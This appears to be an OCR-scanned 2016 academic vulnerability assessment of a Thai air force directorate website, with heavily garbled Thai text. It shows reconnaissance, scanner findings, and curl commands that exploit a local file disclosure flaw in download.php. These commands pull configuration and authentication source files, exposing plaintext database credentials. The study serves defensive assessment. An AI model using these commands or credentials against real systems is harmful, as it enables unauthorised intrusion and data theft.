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This independent studies about weakness or vulnerability of the website of Directorate of
Air Operations Control,“www.daoc.rtaf.mi.th”. The independent study shows the impact level of
vulnerability on the website. Acunetix Web Vulnerability Scanner is used as a tool for

vulnerability assessment. However, Local File Disclosure technique is applied for testing the

Website Vulnerability Assessment and Defense:

A Case study of Directorate of Air Operations Control
Plt. Offt. NACHNAPHAT JAI-ODTON
CHAIYAPORN KHEMAPATAPAN

Computer and Telecommunication Engineering

2016

Abstract

website vulnerability. The studying process is divided into 3 steps as following

1. Planning and preparation

2. Vulnerability assessment

3. Report how to fix and prevent vulnerabilities

The studied results show that the researcher found 5 total vulnerabilities: 1 high risk, 1

medium risk and 3 low risks. Consequently, the hacker can deploy the high risk vulnerability to

attack all websites under the domain name “daoc.rtaf.mi.th”.
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Total notifications: 509 of which 134 single ip and 375 mass defacements

Legend:

H - Homepage defacement
M - Mass defacement (click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)

L - 1P address location
W - Special defacement (special defacements are important websites)

Date Notifier H M R L 7 Domain 0s View
14/05/07 HighTech H M = committee.rtaf.mi.th Win 2008 mirror
14/05/07 o H M == ¥ daoc.rtaf.mi.th Win 2008 mirror
14/05/07 HM ¥ itcenter.rtaf.mi.th Win 2008 mirrar
14/05/07 HM & ¥ ndsi.rtaf.mi.th Win 2008 mirror
14/05/07 HM ¥ redflag.rtaf.mi.th Win 2008 mirrar
14/05/07 H M = ywwEs.rtaf.mi.th Win 2008 mirror

2014/04/28 M R W army3.rta.mi.th/_al.htm Linux mirror

2014/04/11 H M == ¥ cavadiv.cloud.rta.mi.th Linux mirror

2014/04/11 HM = A army1012.cloud.rta.mi.th Linux mirror
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14/04/02 HighTech H M R == ¥ www2.awfc.rtaf.mi.th Win 2008 mirrar
14/04/02 HighTech H MR o iam.rtaf.mi.th Win 2008 mirror
14/04/02 ec H M R == secret.rtaf.mi.th Win 2008 mirror
14/04/02 ech H R ¥ quarter.rtaf.mi.th Win 2008 mirror
14/03/28 Dr-TaiGak F .4 www&sor.wth hp. txt Linux mirror

2014/02/11 d3b~X W rcscortarf.mi.th/ganteng.htm Linux mirrar

2014/02/10 nighto mearo H R g www . army3.mi.th Linux mirrar

2013/08/28 Dr-TaiGaR R == ¥ tnchec.rtarf.mi.th/dbal/ Linux mirror

2013/08/78 nr-TaiGaAR M R afdc-mdut1rtarf.micth/hackon/. . linny mirror
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Mirror saved on: 2014-04-02 09:42:27

Notified by: HighTech Domain: hittp://daoc.rtaf.mi.th IP address: 119.46.201.88 ==
System: Win 2008 Web server: Apache Motifier stats
This is a CACHE (mirror) page of the site when it was saved by our robot on 2014-04-02 09:42:27
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3.1 MINUHUUAINIENNS (Planning and Preparation)
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3.2 Mydszliumvestealnd (Vulnerability Assessment)
g’/ dy 3 1 1 o ] 1A o a 4
TuvuasuiilumsasrvniresIninazinges 11INaT19NVITINITIATIEH
a d' 1 |t§} YJas d‘ = g}l
wazdsziiunnudes Iaen1sastanises it 1§ smsnaaeuiio@entuyUUao U
a ¢ o ¢ ] 2, A " g P
M3 lawdvesuenines laodagiszasnvesiunsuilaziminagouiion1iniu lediiive

Tvanse 1y vazgelvinasrnnudluses Inidsznnla eises Inan 1a lam sz e



22

Y J g’; ] Ig A o g’/ ~ []
ﬁWlLu’JVINﬂ'IiLLﬂ"l"UGIf]llﬂ TﬂEflumumumima%wwmTmu%zmeﬂmmwwmumuw"l,aJ
' 9 a a =] o 3 ad s A 3 ' '
ﬂﬂiﬂlﬂﬂﬂ’)”lmﬁfm%ﬂﬂ 9 mnu"lmmzaznmmﬂnai mmmmﬂumamawwaﬂmmﬂ
A A Y a 1A = U o 9 1 g’a A o 9 1 U a o
53‘]J‘]J°I/IL°]J$°’I11’T‘]J5ﬂ"I'§@§ﬁ]§\1 °]N@’JfﬂElulﬂ!LUQ“lluﬁE)UVIHWMﬂGD'Gluﬂﬁﬂi’mﬂﬂf@ﬂj‘ﬂ’JGIIE]NTH’M]EJ
It = 7 vy % v < ¢
Heoniu 3 Tuneu ‘]J53ﬂ@ﬂﬂ’)ﬂ“lluﬁ@uﬂ'lii’)‘ﬂi’nﬂl@yﬁ‘llf]\‘]!,’J‘U'lcliﬁ VUABUNITNTIINN

Y v Y v
¥04 11 VUADUMTVIDIFD9 THINATIINY TAsTUADUAINAIUAAIAIUNINA 3.3

Gaining Access Reconnaissance

Vulnerability Scanning
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3.2.1 THARUMIE15I9U0A (Reconnaissance)

3 & ) A A Yy o s A oy AN Yoo a 7
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(1) MINT nslookup

ya o Y o 9 < d Y o @ I o o
mas”lwm13@1mfm@umayjammnu"lcmmﬂmm nslookup 1 UAH4
Aq ¥ . 9 o
Al¥lunsasrvasy Tawuiuy (Domain Name) A28 1U5uATUABNUIUNTOUN (Command
A 9 . ] ¢ X ' .
prompt) LWE]WHIE]H@I@]L?JULHN (Domain Name) U843 1@ W31 Domain Name U0 4

< P o ~ <3| A < S a A . ~
AuladilToNusamsaily 119.46.201.123 , 1000 15A 93970 www83.rtaf.mi.th Hag
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v v
wAeA® www.daoc.rtaf.mi.ht, daoc.rtaf.mi.th i l¥nsindeyanezii ) 1dluduasuaes

msaunumyes Inaae 11 s1eazideadoyainuainms IHm1aa nslooup HAAIATNAING 3.4

B¥ Command Prompt - nslookup

C:\Users'\noname>nslookup
Default Server: UnKnown
Address: 192.168.0.1

> www. daoc. rtaf. mi. th
Server: UnKnown
Address: 192.168.0.1

DNS request timed out.
timeout was 2 seconds.
Non—authoritative answer:
Name : www83. rtaf. mi. th
Address: 119.46. 201. 123
Aliases: www. daoc. rtaf. mi. th
daoc. rtaf. mi. th

{ i 9 I~ <Y o o
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(2) M159 Reverse IP Domain Check
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g Reverse IP Lookup - Finc X

e (¢ ‘ ® www.yougetsignal.com/tools/web-sites-on-web-server/

you get signal B oo g 4D

@ Reverse IP Domain Check

G|
lj Remote Address fww.daoc.rtaf.mi.th | |check |
@ [ _ ,
| §7 Found 12 domains hosted on the same web server as www.daoc.rtaf.mi.th (119.46.201.123).
Pl
, e aoc.rtaf.mi.th imgsee.me
= np.rtaf.mi.th wing2.rtaf.mi.th
EL ] ww.admin.rtaf.mi.th www.awfc.rtaf.mi.th
ww.daoc.rtaf.mi.th www.do.rtaf.mi.th
) ww.logist.rtaf.mi.th www.rfhac.rtaf.mi.th
= ww.secret.rtaf.mi.th www.wing2.rtaf.mi.th
%)

7NN 3.5 Wﬁﬁwfﬂ1iﬁ1 Reverse IP Domain Check

3.2.2 TUABUMIAUNUINTOINI (Vulnerability Scanning)
A Pl ¥ A 1 1 < 14
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- Acunetix Web Vulnerability Scanner

- Manual
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(] Acunetix Web Vulnerability Scanner (Enterprise Edition) - g X
! File Actions Took Configuration Help
) NewScan |[& G0 )0 B U B € SR |8 B3| D W
ToosBglorer 8| () &5 | o | b 52 | @ Report | O | startums: [rtosifwenw.docc.taf.m.thidefaut. oo =] proe: [oefot [] =] Bset
| [] web vnerabity Scammer Scan Result Status I
[& web Scanner can Headls Macunetix WEB ,'\N’I]LAMDIJ SECURITY
S Touks & I Scan Thread 1 (http:/fwwe.daoc.rtaf.mi, th:80/default.pho ) Finished (10 sle
i Gir Site Crawier & [l Web Alerts (10)
5 Target Finder - (12 Apache hitpOnly cooke dsdosure (1) Apache httpOnly cookie disclosure iy
£, Subdomain Scanner L] web server
i Bind 5QU Injector & ) HTML form without CSRF protection (1) Vulnerability description
3 v ditor [ Awebdaoe .ohp 3cd 1002088 305478, .. e HITP S 22x throuon 2221 o N
HTTP Sniffer Apache fiename brutefor Apache anvar x througt does not propery restrict header
¢m-“;;‘.,n..‘ v 0 m?‘:w“w o () information during construction of Bad Request (aka 400) error documents,
5 Authentication Tester - ) Chdaadng: X-Frame-Cosons header mssng (1 Which allows remote atiackers to obtain the values of HTTPORly cookies wia
7 Compare Results #- () Session Cookie without HtpOnly fiag set (1) wvectors invehving a (1) long or (2) malformed header in conjunction with crafted
S Web 5 # ) Session Cookie without Secure flag set (1) wab script
L3 Web Services Scanner & @ Broken Inks (1)
:;w!hg . 4 @ Emor page web server version dsdonure (1) Affected Apache versions (up fo 2.0.21)
=+ Configuration - ) Midosoft Frontpage configuration information (1) Aflected items
& Appicaton Settngs T Knowledge Base » Web Sanver
] Scan Settngs = (3 Ste Structure
2] Scanning Profiles =@l o The impact of this vulnerability
& General
@ FrogramUpdates + 0 o Information disclosure
—_— 4 sapt
‘; Versien Informaton i) gw [T How to fix this vulnerability
#] Support Center i [ cefainoto x Upgrade Apache 2x to the latest version. Apache 2222 s the first version that
Purchase © [ Cookies fixed this issue.
&) user Manual v
& AcSensor N > || Webreferences
Activity Window L3
_

dl 9 1 ld'
NN 3.7 GIJ@Hﬁ"lJ@Q“If’ENTW’JTIGﬁ’H]W‘U

doyanldainnisauny TasldinToeilo Acunctix Web Vulnerability Scanner
=) =S 3 dy
Ns1eazideanail
NUBO9 THINLANUFUUTITZADLIUNAN (Medium) T 2 Uszian Ao
Y ] v
» Apache hitpOnly cookie disclosure 594 11315zinniife elinmslaa1n lugndssas
] < Aad 14 1 [ ) o )
T luges URL uidswinesaz @e Bad Request naun i lvneaninedaiuisoiiidoyaain

Bad Request 1) 1%1/52 Tomni 18 Favirlfuenines 321 Request Na liftidoranaransalvuiig

a ) 1 <
F1002108AVDI¥09 ININATIINY L lunIng 3.8

(@] Acunetix Web Vulnerability Scanner (Enterprise Edition) - X
| File Actions Tools Configuration Help

iONewsen B P EGER? O RSB R|2 D6

D | de | 23] ) Report | 2 | start URL: [nttp:/www.decc.rtaf.mi th/defauit.oho
Sean Results Status |
B & Scan Thread 1 http:/fwwew.daoc.rtaf.mi. th:80 default.php ) Finished (10 ale

~| Profie: [Defaut [y | EJstart

Macunetix WEB AFPLI(A;JD}J SECURITY

| 8- {1} Apache httpOnly cookie disdosure (1)

& () HTML form without CSRF protection (1)

il o 13k Bt che HTTP Server 2.2 through 2221 d t properly restiict head
ache erver 2.2 throu 21 does not properly restrict header

@ @ Apache ﬁ'”"-""gm'”"wb'“’ﬁ”mg @ ‘vplurma\lon during construction oi Bad Request (akapdug) :mr documents,
@ @) Clickjacking: X-Frame-Options header missing (1) hich aliows remote atackers to obtain the values of HTTPORly cookies wia
@ @ Session Cookie without HttpOnly flag set (1) clors involving a (1) long or (2) malformed header in conjunction with crafted
@ @) Sesson Cookie without Secure flag sst (1) &b script.

{4 Web Services Scanner & @ Broken inks (1) L P

L_§% Web Services Editor - @ Error page web server version declosure (1) B

[EHE> Configuration @ @ Micosoft Frontpage ® Affected items
{3 Applcaton Settngs T Knowledge Base « Web Server
i1l Scan Settings @ {3 Site Structure
~) Scanning Profies The impact of this vulnerability

B General i
Information disclosure.

Hows to fix this vulnerability

Upgrade Apache 2.x to the latest version. Apache 2.2.22 is the first version that
fixed this issue.

< > | Webreferences
Actvity Window [

A 3.8 FoyaiieazideaveeresInallszinn Apache hitpOnly cookie disclosure
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. 1 1 dy I ]
« Cross Site Request Forgery (CSRF) $091%1Usznniillusoslng

g Toud

[ 4

1 ?x’z < A Y dydld [ 1 1 v ad
A1M130d1 http request TIUNUFAFUNIToANNNIN1TUT VYT DA Tl daduFsvines

A qu Pl T { %lg)d'daaydy éuldé R '
e ldsz Teminnaasunieannvesdldniidnsindedoya ¥eldnnuinduvoaIng
A =
f10 nextbroad.php taadlunINg 3.9
[#] Acunetix Web Vulnerability Scanner (Enterprise Edition) - B
File Adions Tools Configuration Help
JNewSean |[& o 0 B U B Bl &R R 2D
TodsBplorer % ) &5 | & | I 22 | ) Report | 2| StartURL: [nttp:/fwww.daoc.rtaf.mi. thidefauit. php = | Profle: |Defaut ]—T] +| B3 start
,m Scan Resuls Status M acunetix - WEB APP| (.A.-JO}I s-sn:.uxnv
E%‘\:ojsm S % Scan Thread 1 hits i, daoc, rtaf.mi, thia0jdefault.ohp ) Finished (10 ale | ’ ~
(3 Site Crawler = il Web Alerts (10)
) Target Fnder & () Apache httpOnly cooke dsdasure (1)

& Compare Results
- Web Services
& Web Services Scanner
&7 Web Services Editar
== Configuration
4] Applcation Settings
1] Scan Settings
] Scanning Profies
EHE General
@ Program Updates
I Version Information
\—a# Licensing
48] Support Center
€] Purchase
€] User Manual

®) AcuSensor

[[] web server

+ () Chckjacking: X-Frame-Optons header missing (1)
& () Session Cookie without HttpOnly fiag set (1)
# () Session Cooke without Secure flag set (1)
B @ rokenlnks (1)
& ) Error page web server version dedosure (1)
@ Micosoft Frontpage configuration information (1)
T2 Knowledge Base
& {3 Site Structure

<

Activity Window

|| =~ {0 HTML form without CSRF protection (1)
Jwebdaoc messenger board nextbroad. php (514fe343e 3cd 1402893305463, .
2 0 d_negotiation filename 2

" -

This alert may be a false positive, manual confirmation is required

Cross-site request forgery, also known as a3 one-click atiack or session nding
and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website
whereby unauthorized commands are transmitted from a user that the website
trusts.

Acunetic WVS found a HTML form with no apparent CSRF protection

implemented. Consult details for more information about the affected HTML form.
Affected items.

* lwebdaodmessengerboardinextoroad php
(5141e348e3cd1d02ce 933054883521

The impact of this vulnerability

An attacker may force the users of a web application to execute actions of the
aftackers choosing. A successful CSRF exploit can compromise end user data

and operation in case of normal user. If the targeted end user is the administrator v
account, this can compromise the entire web application.

|

2l 3.9 Toyasivazidenveenod 1l HTML form without CSRF protection

] 1 Y J
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~ 1 < 14 Y ~ 1 I [ A
nﬂm%ﬂ@guunuulcm i]uWUﬂl@ﬂuaﬂ“aﬂﬂ1ﬂ'ﬂfﬂglﬂu%@\iiﬂﬁ f1® parameter NYDI

druvoantumane lndnaye
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ya Y o ' ' < I8 ] U Y]
Q’Jﬂﬂllmmﬂﬁﬁuﬂuﬂﬁf’é)\iiﬁ’J"IJENL’J‘lJllG]mTﬂElﬂTi‘I'ﬂ"]fﬁNI’H’Ji]'lﬂﬂlﬂLWi]

s A 1

[
= \

“file” 1u

[l Y
“download.php ¥939enu N HEUNHHF0 TR0 1914

asan1 Tvaa ld eonun@swines 1dTaer 1 1Wd “download.php” Hau18AINN
Aleamrsaldmdalunsarnd ldae q Aeguuiumdivneseonuldlsy Tewiluns

a g o <3 ad SN Y 1 (XY 1 [l @ A
Towanu lwduaziudswnes 18 seeInaaenalsingedlu URL dadaaniunini 3.10
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[ PowerPoint Presentation x

C | 0 www.daoc.rtaf.mi.th/webdaoc/download.php?file= /txt/NCPO-Core-Values_57.pdf
————

PowerPoint Presentation

o o/ o ) /o
ARG B IR FOaBT WITHVTEF %8

l < O o g o4
HONNIE bNENNZ P HEPTHITI NI TH ISR

NN 3.10 ¥94 114 Local file inclusion

3.2.3 Funoumsdhsathwneg (Gaining Access)

vindeyait 1850 utuaeui 3.2.2.3 fe msaunumsesTnivuniuiulsd §55v
ihdoyad 1din1dlss Temilumsnaaounts Tauddy lad Taslimadiafieonii Local File
Disclosure 1un15%11%09113 Taon15 191150053 Curl W11 Command Prompt Lﬁ’ﬂﬁ"i HTTP
script Tumsanid lnaalild download.php C-%}’Jtlﬁﬁ%i curl -o download.php Lﬁﬁ]immﬂuﬁ1’5"’¢ﬁ
ol Tnaa lrdadesmsninuduin ledliumansuniemwosdise nmiuldida -a
“ Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/ FROYO) AppleWebkit/533. 1
(KHTML, like Gecko) Version/4.0 Mobile safari/533.1” 1140135811 1AA1 Header 16 1l o

I ~ 9 4 4 @ v o v
Fumsidenldaunnusnduwes Taenaly wazaiualed1d4 curl —url http://www.daoc.rtaf.

=

mi.th/webdaoc/download.php?file=./download.php” Wi ﬁ' anl¥szyhe §,J'6U pa lWdndeans

Q

A 11an AILETAININNIND 3.11 —3.12

BX Command Prompt — | X

Microsoft Windows [Version 10.0.14393] ~
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\noname>cd /curl-7. 46. 0-win64

C:\curl-7. 46. 0-win64>

AN 3.11 mdamsisenlginieadie Curl


http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./download.php
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curl -o download.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-1800 Build/FROYO)
AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1” --url

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./download.php”

BN Command Prompt — O hd

C:\curl-7. 46. 0-win64>curl -o download.php -A "Mozilla/5.0 (Linux; u; Android 2.2: en-us:
SCH-IS00 Build/FROYQ) AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/53
3.1" ——url "http://www. daoc. rtaf. mi. th/webdaoc/download. php?file=. /download. php"4

A o & P2 s
NINN 3.12 mmmauiwm"lﬂa download.php

o v w 1 1 4 4 4
Fl]']ﬂﬂ'lﬁilﬂ\iﬂaW'JW‘]J'ﬂﬁWN153@13“11’7'(3@[11/\'@ download.php E]'ﬂﬂll'ﬁ]'lﬂlﬂ%ﬁ]\i
ad N Yo < 8 o ' 4 9 4 1 =)
@F5ines lad15e mndusimseuyeia lnaves 1na download.php wudn lifinsasieaey

winanaved ldneufivzoyanlianilvan danaliannsaani g la q A'ldfeguu
9
3

A s A 19 ) P v ¥ a A
L“lﬁ?‘lﬂ'ﬁ]i LWYILLA m)gﬁllm”l‘vdamﬁmmmnuIwaﬂmmu FIALLDYANTUNINN 3.13

H Chlsers\noname\Downloads\download.php - Notepad ++
File Edit Search View Encoding Language Settings Macro Run Plugins Window 7

LoHR RGEE s4mliacing 2%xEBE 51 FELAo2 NENEE
ccnﬁg?mphpﬂnacww.\nc.php nernew‘.umphp dlnwnﬁrm.php L;]!Ete;php J‘Epass php J!Emard_mcphp 3 = download php 3

1 H<ziphp
2 $ff1 = 5 GET['file"]:
il Spr = explode(".",5f1):
4 $kype = strtolower($ar[sizecf(Sar)-1])+
3
6 switeh (Stype)
E =T
8 case "jpg":
9 header ('Content-typs: image/jpg')#
10 break:
il casa "gif":
12 header ('Content-type: image/gif');
i3, break;
14 case "png":
i1 5 header ('Content-type: image/png'):
16 break:
17 case "tif":
18 header ('Content-type: image/tif');
19 break;
20 case "doc":
21 case "docx":

22 header ('Content-type: application/doc'):
23 break;

24 cass "pdf”:

25 header ('Content-type: application/pdf'):

26 break;

2. case "rar":
28 header ('Content-type: application/rar'):
29 break:
30 casa "zip":
31 haader ('Content-type: application/zip'):
32 break;
33 case "pp3":
34 header ('Content-type: application/pps'):#
35 break:
36 casa "mp3":
37 h d {('Content-tvne: andin/mni'i:
PHP Hypertext Preprocessor file length: 1,118  lines : 60 ln:2

AN 3.13 81uwesalaa lild download.php
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¥ = o P2 g 2 g o )
ﬂ?ﬂuu%¢ﬂﬁﬂiﬂﬂﬁﬂﬂﬂ13u1ﬂaﬂqwadchuhpmj%Mﬂquaﬂuﬁﬂﬂﬂu1uiﬂmﬂﬂ

] J Y o o 1 :? ~
Hu'lwd aremidans 1 taaanunnn 3.14

curl -o default.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO)
AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1” --url

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./default.php”

B¥ Command Prompt

Microsoft Windows [Version 10.0.14393] P
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\noname>curl -o default.php -A "Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROY0)
AppleWebkit/533. 1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1" ——url "http://www. daoc. rtaf.mi. th
/webdaoc/download. php?file=. /default. php'a

A o & 2 7
MNN 3.14 M1 Inaa 198 default.php

o ' o 4 o kS '
NNATIV A UNDNANIT0A1Y 1raa 18 defaultphp TAd 59910 NI 981U

1§ default.php WUNTMTB198999 118 auth.ine. aunINd 3.15

H CAUsers\noname’Downloads\default. php - Notepad+ +
File Edit Search Wiew Encoding language Setfings Macro Run Plugine Windaw ?

cOHBLGE LGDiac(nyl«<BE51EFIDAc> @ENRE
ﬂmﬂ!g inc: php ﬂlﬂaﬂmlyncphp G|Em~.n!un php JIEmn‘um_php [ = JI[J.mf.a|1l1n 2 H boasd m;np t:?ﬁdrm?ad p!;b_Eil = aetaun php B3

2299 é
2300 H<?php

2301 I | require ("auth.inc.php"}: | (

2302

2303 requira("wshdacc/measenger/board/board. inc.php") ;
2304

2305 fpaperpagelen = 4 ¢

2306 Spaperpage = 5 _REQUEST["paperpage']y
2307 if (empty (Spaperpage)) { Spaperpage=l; |}

2308

2309 mysql_connect (jdoserver, Sdbouser, Sdbpasa) or die(‘Wowsagudoydila)
2310 mysgl_qguery{“set NAMES tiadZ0 ")»

2311

2312 mysgl_ select dbisdbname) er die("fenrwiuduld) ¢ M dongutogs

2313 %agl = "SELECT gnumber from $tblnamel";

2314 Sresult = mysqgl_euery( Ssql )i

2315 $num rows = mysgl num rows (Sresult) s

2316

2317

AN 3.15 51eazdeaved 11ld 1Wd default.php
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Y I v
natuieiinisad Ivaa lid authinc.php Fadlu'lidfigndredelula

X g ’a & < % o & o
default.php Badlu W ndunrhusnveadulod AremdedaansaunIni 3.16

curl -o auth.inc.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO)
AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1” --url

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./auth.inc.php”

E¥ Command Prompt — ] X

:\Users\noname>curl -o auth. inc.php -A "Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO)
AppleWebkit/533.1 (KHIML, like Gecko) Version/4.0 Mobile safari/533.1" ——url "http://www. daoc.rtaf.mi.t
h/webdaoc/download. php?file=. /auth. inc. php"

A o & P2 s
NNN 3.16 ﬂ'lﬁ\‘l@'l'guiﬁaﬂVlWﬁ auth.inc.php

1 1 X I {
919715811 114 auth.inc.php WUI1TP1581989 18 config.inc.php Fatlulvlahn

! 9 [ ol 9 < s o '
L?]EJ’JGU’ENﬂUﬂ15G]\‘Iﬂ'IGU’0\“Ii3‘]_I‘1_|ﬁ'I‘LJ%@Eam@ﬂlﬂﬂ1%@ﬁﬂ1ﬂ1ﬁﬂﬂﬁﬂﬂ Gﬂllﬂ'l‘Wﬁ 3.17

@ CA\Users\noname\Downloads\auth.inc.php - Notepad++
File Edit Search View Encoding Language Settings Macro Run Plugins Window ?
JHEHBRRE GO e % EESTEEEACD®( D @G
[E download.php \.ﬂ[defau\t.php 1 Eauthinc.php E ]Econﬂg.mc.php ._;lBlest.php ._;||Epass_php .‘B{Eboard.mc.php 3
1 <2
2 require ("config.inc.php"); <
3 if (Tisset (S SES5TON['ses user']l )) |
4 H if (l!isset($ REQUEST[Scock nm] ) ) {
5 ! header ("Location: login.php?"):
(3 ! exit;
7 } else {
8 mysql connect ($dbhost, sdbuser, Sdbpass) or
9 die ("wausla MySQL lilaln ") ¢
10 mysqgl select db($dbname);
11 Sdbquery = mysqgl query ("SELECT user, passwd, lastlog from adminlog
12 | WHERE user='$ COOKIE[$cook nm]'");
13 Sresult = mysqgl fetch array(Sdbquery):
14 H if (!3result) {
15 header ("Location: login.php?"}:
16 exit;
IS }
18 H if ($_COOKIE[S5cook pw] != Sresult['login password']) {
19 header ("Location: login.php?");
20 exit;
2 1

{ { ' J
2N 3.17 SwaziBeavostoyanoglulwa auth.inc.php
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Z @ ¢ 4 { o & o
ﬂwﬂuumauiwaﬂ"h/\la config.inc.php Lﬁf)@‘ﬂ}ﬂﬂa“ﬁ@ﬂﬂ"miu ﬁ}?ﬂﬂWﬁQﬂﬂllﬁﬂ\iﬁ"lil

U U

NN 3.18

curl -o config.inc.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO)
AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1” --url

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./config.inc.php”

-
B Command Prompt — O X

C:\Users\noname>curl —o config. inc. php —A "Mozilla/5.0 (Linux; u; Android 2.2: en—us: SCH-I800 Build/FROY A
0) AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1" ——url "http://www. daoc. rtaf. mi
. th/webdaoc/download. php?file=. /config. inc. php"

i 3.18 mdan1duInan g config.inc.php

§ 7 . g JAq Ya 1 o 9 <3 o

iiee 1 19a config.inc.php wusudulvanldfanenvszuugudoyaveuivlea

< Y v 1 9 o 9y 9 Y < J a ua

meluiludoyaswarmdimivdhldnuszuugudeyavesivlednsuniugunis §iia

: 7w ' = 7 o w 1 9 < s Y '

e #alddasnaraduldnianuddyaeszvugiudoyavoudulasd 416 1
% 0 s ] as N Y Y 3

Uszasdaaansnirldatioon ldonindwmdsvnes 1a faunsoditeszvugiudoyaves

Suladuazin ldadeanu@eriieldundulaed 18 amninwi 3.19

@‘ C\Users\nename\Downloads\config.inc.php - Notepad++
File Edit Search View Encoding Language Settings Macro Run Plugins Window ?
HHERGE s Gh A % BEETEIEHD® B EDHE
dDwn\Dad,php uﬂ’defaull php G]Iauth,inc php &4 Econf\g,mcphp_ﬂ Btestphp _.IBpass php _.IEboérdjnc,php _;“E]duwn\nad php _}’admm php €
1 B<zphp

2 error_reporting (E ALL " E_NOTICE);

3 sessinn start():

4 $d_bhost_: "localhost"; // Database server
5 Sdbname = "web";

6 $dbuser = "juliet";

7 $dbpass = "computer": £ AT

8 SDKE= mktime (gmdate( H")t/,gmdate( 1) 10, gmdate( 5",
9 gmndate ("m") ,gmdate("d"),gmdate ("Y")):

10 $datetimeformat="j/m/y - H:i";

11 Snow = date($datetimeformat, $bkk) ;

172 e

A 9 o o o Y qy 9
NINN 3.19 mayawﬁmummmmﬂmmiwugmmaya
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s v o oA I A

naaesa11 1raa 11§ adminphp FadluldddisoduiivguiningdlulWand

ogludfnesuazilulidimaizamwnini il lflse Tondld amuawi 3.20

curl -o admin.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO)
AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1” --url

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./blog/admin.php”

[E¥ Command Prompt — O X

~
C:\Users\noname>curl —o admin.php —A "Mozilla/5.0 (Linux; u; Android 2.2: en—us: SCH-I800 Build/FROYO) Ap
pleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1" ——url "http://www. daoc. rtaf. mi. th/w
ebdaoc/download. php?file=. /blog/admin. php"

A o & P2 s
NINN 3.20 mﬁmnuiwm"lﬂa admin.php

%’, 1 4 4 1 o a S
U UyeIa lnaved1Wd admin.php Wy IW@imsd1e0909 Ianam s

IS A J

Tiindoyaluiulad1d Ao 1W§7%¥01 newbroad.php taza1e1u 1§ admin.php Im3dion

Y
S A o !

J YY1 [ [ . =
ﬂf]‘lllﬂuﬂﬂﬂﬂ1ﬁ§'J']ulwﬁuﬂﬂ'ﬂﬂﬁ']ﬂfgﬂﬂ admin AINNINN 3.21

,5{ C\AppSenviwww\httpdocs\webdaod\admin.php - Notepad + +
File Edit Search View Encoding language Settings Macro Run Plugins Window 7
cHEHBR LA sk a2 BE 51 FIBAE® NENEG
[ download php  £3| [H defautt php €3] B authinc php £3| M config inc php £3 = aominphp E3 [[iest php 3| [ pass php £3| B boardinc php 3] B downioad phiphe3| ] dowmioad (2) plipik3 | [ ciange jog £3
698 © <TR>
=] <TD class=tdk ¢ colSpan=2 align="left">
=] <DIV>
| K!-- for admin only -—>
=] <font face="Tahoma" size="2" color="red">&nbsp;&nbsp;<img src="pix/img/atb_racconti.gif" alt="view" />&nbsp;
=] <A class=uno HREF='"javascript:void(0)" onclick="window.open ('activity/newbroad.php?',
| 'Act', 'width=700,height=500,scrollbars=yes,location=no') " >wiwhdommwiranssu. dil
700 </A>
AN - </font>
70 | <br>
707 &9 <font face="Tahoma" size="2" color="red">&nbsp;&nbsp;<img src="pix/img/atb_racconti.gif" alt="view" />&nbsp;
708 H <A class o HREF="javascript:void(0)" onclick="window.open('activity/erase.php?',
| 'erase', 'width=600, height=235,scrollbars=yes, location=no') ">awhdomwiansm.. Al
709 + A
710 L </font>
711 | <!-- for admin only -->
e M
713 H<2php
714 |

{ 7
AN 321 51wazideadoyanielulWd admin.php
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Y P2 s A A A A
ﬂ?ﬂﬂﬂﬂ??ﬂiﬁﬁﬂqwa newbroad.php !W@ﬂi?ﬂﬁ%k@ﬂﬂﬂﬂgﬂ"lﬂﬁlu ATUNTINN 3.22

curl -0 newbroad.php -A “Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-I800 Build/FROYO)
AppleWebkit/533.1 (KHTML, like Gecko) Version/4.0 Mobile safari/533.1” --url

“http://www.daoc.rtaf.mi.th/webdaoc/download.php?file=./activity/newbroad.php”

B Command Prompt — O X

C:\Users\noname>curl -o newbroad. php -A "Mozilla/5.0 (Linux; u; Android 2.2: en-us: SCH-IS00 Build/FROYO)
AppleWebkit/533.1 (KHTML, 1like Gecko) Version/4.0 Mobile safari/533.1" ——url "http://www. daoc. rtaf. mi. t
h/webdaoc/download. php?file=. /activity/newbhroad. php"

A o o o 4
NINN 3.22 mmmauiwaw"lﬂa newbroad.php
L, s g s Vo o o ) a X
Lﬁ’amu”l‘mla newbroad.php wmnﬂu'l%laﬁhmmuawiwamayamwmﬂﬁmu
Y < % 9 Y A s 1 0o qQ YInw Y
"lﬂuuwumu"lcm "lﬂﬂiﬂﬂﬂm?]ﬂﬂ“llﬁ]ll“ﬁ"IJENGIf’E]ﬁIﬂ@ﬁﬂgﬂWﬂiullV\laﬂ\?ﬂaT) ﬂﬂﬂﬂ’]ﬂﬂﬂu‘iﬂlﬂ

' o 2 gy X @ a A
